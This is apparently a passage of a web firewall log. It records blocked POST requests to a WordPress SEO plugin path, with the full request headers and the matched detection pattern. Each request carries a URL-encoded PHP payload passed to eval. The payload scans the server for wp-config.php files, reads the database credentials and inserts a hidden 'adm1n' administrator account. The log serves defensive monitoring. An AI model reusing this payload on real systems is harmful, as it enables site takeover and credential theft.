ess.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 17:25:51","213.209.159.254","POST","\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cmgIbF:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-length:12663\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\ncmgIbF=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%2